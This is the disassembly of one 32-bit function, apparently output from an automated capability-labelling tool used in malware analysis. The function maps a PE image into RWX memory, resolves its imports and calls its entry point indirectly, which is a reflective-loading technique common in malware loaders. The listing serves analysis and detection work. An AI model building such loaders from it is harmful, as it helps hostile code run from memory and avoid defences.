Function at 0x1000665c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
add eax, 0xf8
mov dword [ebp - 0x14], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x54]
push dword [ebp - 0x20]
push dword [ebp - 4]
call fcn.1001ce80
add esp, 0xc
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
add eax, 0xf8
mov dword [ebp - 0x34], eax
and dword [ebp - 0x30], 0
jmp 0x100066d0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x30], eax
jae 0x10006731
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x10], 0
jbe 0x1000671d
and dword [ebp - 0x10], 0
jmp 0x100066f2
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x10]
jae 0x1000671d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 4]
add edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
mov cl, byte [ecx + esi]
mov byte [edx + eax], cl
jmp 0x100066eb
mov eax, dword [ebp - 0x34]
add eax, 0x28
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
add eax, 0x28
mov dword [ebp - 0x14], eax
jmp 0x100066c9
push 8
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 8], edx
push 8
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + eax + 0x78], 0
je 0x10006847
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1000676e
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x1000676e
jmp 0x10006847
mov eax, dword [ebp - 8]
cmp dword [eax + 0xc], 0
je 0x10006839
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0xc]
mov dword [ebp - 0x3c], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
push 0
push 0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x100067b5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 0xc], ecx
jmp 0x100067c1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
je 0x10006839
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
and eax, 0x80000000
je 0x10006801
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
and eax, 0xffff
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
jmp 0x10006825
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
add eax, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
add eax, 4
mov dword [ebp - 0xc], eax
jmp 0x100067cd
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
jmp 0x10006744
push 0
push dword [ebp - 4]
call fcn.1000654c
pop ecx
pop ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
push eax
mov eax, 1
push eax
xor eax, eax
push eax
mov eax, dword [ebp - 0x2c]
call eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x8000
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x50]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
mov esp, ebp
pop ebp
ret